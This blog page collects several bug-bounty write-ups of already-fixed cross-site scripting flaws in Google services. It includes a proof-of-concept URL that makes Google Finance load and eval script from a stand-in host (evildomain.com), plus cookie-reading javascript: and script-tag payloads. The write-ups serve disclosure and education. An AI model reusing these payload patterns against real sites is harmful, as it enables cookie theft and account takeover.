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Showing posts with label Google. Show all posts
Showing posts with label Google. Show all posts

XSS on Google Finance | Writeup by Michele Spagnuolo

Today we have a Bug Report of XSS on Google Finance by Michele Spagnuolo.

Let me continue this post by his own words.


On July 11 2013, I reported to Google Security a XSS vulnerability I discovered in google.com main domain, which required no user interaction.

It is due to a glitch in Google Finance, which is hosted on google.com/finance, that allows to trick the Javascript application for plotting charts (in particular, sourcefile /finance/f/sfe-opt.js) to load a file hosted on an external domain and eval() its content as Javascript code.

This exploit does not require any user interaction, it's just a matter of clicking on a URL.



Steps to reproduce :
=================
1. Just click on this URL (now fixed):
https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js.


File x.js contains the following proof-of-concept code for demonstration purposes:

alert(document.domain);

The file has to be hosted over HTTPS.



2. The remote Javascript is executed.




How does it work?
================
Here are two (obfuscated) code snippets of /finance/f/sfe-opt.js responsible for this vulnerability:

c.push("ntsp=");
c.push(b);
if (b == Vl.jj || b == Vl.kj) a = a.xc[ii(a.S)], a.lj() || (c.push("&ntrssurl="), c.push(escape(a.Cc || "")));
return c.join("")



In this first snippet, URL parameters, and in particular the ntrssurl parameter (address of a custom RSS feed) are fetched and concatenated.

Xi.prototype.send = function (a, b, c, d) {
    a = a || null;
    d = d || "_" + (Yi++).toString(36) + x().toString(36);
    n._callbacks_ || (n._callbacks_ = {});
    var e = this.$s.Z();
    if (a)
        for (var f in a) a.hasOwnProperty && !a.hasOwnProperty(f) || Fi(e, f, a[f]);
    b && (n._callbacks_[d] = Zi(d, b), Fi(e, this.Zs, "_callbacks_." + d));
    b = Wi(e.toString(), {
        timeout: this.We,
        Ns: !0
    });
    Si(b, null, $i(d, a, c), void 0);
    return {
        La: d,
        Du: b
    }
};




This part of the code is responsible for querying an external domain for a newsfeed to be displayed on the plot as an overlay.

It generates a base-36 callback function name, and the function Wi performs an xmlhttprequest to the domain supplied in the ntrssurl parameter in the URL, appending ?_CALLBACK_.

In this case, a simple Javascript code is returned and eval()'ed.





Screenshots :
============












Feedback :
========
This vulnerability was fixed in a matter of days, and I got a $5k reward.

Reflect XSS on admin.google.com | Writeup by Brett Buerhaus



Good afternoon friends,
Today we have write up of Reflected XSS on admin.google.com by Brett Buerhaus.

Lets continue the post with his own words..

After learning about Google’s bug bounty program , I decided to look for vulnerabilities on their most sensitive services. Finding a vulnerability on admin.google.com was challenging; I managed to find a simple, but interesting form of Cross-Site Scripting .

Details:
========

URL : https://admin.google.com/
Vulnerability : Reflected Cross Site Scripting


Proof of Concept:
==============


https://admin.google.com/mrzioto.com/ServiceNotAllowed?service=grandcentral&continue =javascript:alert(document.cookie);//



admin.google.com is a part of Google Apps service where you are able to configure permissions, users, and Google Services for your domain. This is a feature primarily used by businesses, especially ones that are using Gmail as the e-mail service for their domain.

The ServiceNotAllowed page appears when you are attempting to access a Google app service that has not been configured for your domain. It requires that you are logged into at least two accounts and will give you a form to switch accounts to continue to the service you were trying to load. When you select an account via the bullet on the page, it executes JavaScript to redirect your browser. The URL used in this JavaScript is supplied by the user in the continue request parameter.

The continue request parameter is fairly common request variable in the Google login flow. This is the only page that I could find that did not validate the URL passed into it. This allowed you to craft Cross-Site Scripting attacks by using “javascript:” as part of the URL and it would execute when the browser location is redirected.





Attack:
======






Impact:
=======
This attack allows you to force a Google Apps admin to execute any request on the admin.google.com domain. Some things that are possible:

Forcing the admin to …

  • Create new users with any permission level that you want, such as a super admin.
  • Disable security settings for individual accounts or for multiple domains. This includes removing two-factor authentication (2FA) from accounts.
  • Modifying domain settings so they point to your domain/dns, therefore all incoming emails to that domain are redirected to you instead.
  • Hijack an account/email by resetting the password, disabling 2FA, and also removing login challenges temporarily for 10 minutes.




To demonstrate this, I built a proof-of-concept that shows a JavaScript payload pulling information from the Admin console, grabbing a list of users, changing the password and removing security settings from the first user in the list.







Source:
http://imageshar.es/54b8489989b9403e17000006/file


<form action="" onsubmit="return onContinueClick(2);">
<ul>
<li><input type="radio" value="javascript:alert(document.cookie);//? authuser=0" checkedname="radioChoices" id="radioid0"><label for="radio0">email1@gmail.com</label></li>
<li><input type="radio" value="javascript:alert(document.cookie);//? authuser=0" checkedname="radioChoices" id="radioid1"><label for="radio1">email2@mrzioto.com</label></li>
</ul>
</form>

<script>
  function
      onContinueClick(accountCount) {
           var href;
           for (var i= 0; i < accountCount; i++) {
                  if(document.getElementById('radioid' + i).checked) {
                         href =document.getElementById('radioid' + i).value;
                     }
                 window.location.href = href;
                 reurn false;
                  }
               window.addEventListener("load", function() {
               document.getElementById("radioid0").focus();});
</script>






Timeline:
========
Discovered and reported: 9/1/14
Acknowledged: 9/5/14
Fixed: 9/18/14
Bounty Reward:


XSS on Google | Writeup by Narendra Bhati

Today we have writeup of a well known amd probably the good Indian Security Researcher Narendra Bhati. Couple of months back, he found XSS vulnerability on Google. Lets check out his writeup by his own words...


Hello friends today i will show you how i Got Google XSS Vulnerability, When i searching in google support section i think may be i should try to finding xss here, then i start trying ,First as usual i put my name in search box ” bhati ”





And found that is reflecting back in the source code properly , So i decided to try my luck , i was hoping for the best for this xss. Actually i always put <xss>””() for analysis that which word is filtered out and when the response come back i was feeling like boss , because there is no filtration or sanitation applied Then i try to input payloads as you know.

So finally payload is – <script>alert(“ss”)</script>
then finally Google XSS Appeared







I reported to google about that then after 6 hour i got reply from them “Nice Catch” , they promise to reward me by 500$ for this finding And they put my name on their hall of fame page.

XSS on Google Groups | Video Demo by Ashish Pathak

Good Evening Readers,
Today we gonna post Video Demonstration of Cross Site Scripting on Google Groups.

This video is submitted to us by a security researcher, Ashish Pathak.


For any query regarding this Video, Feel free to contact us..


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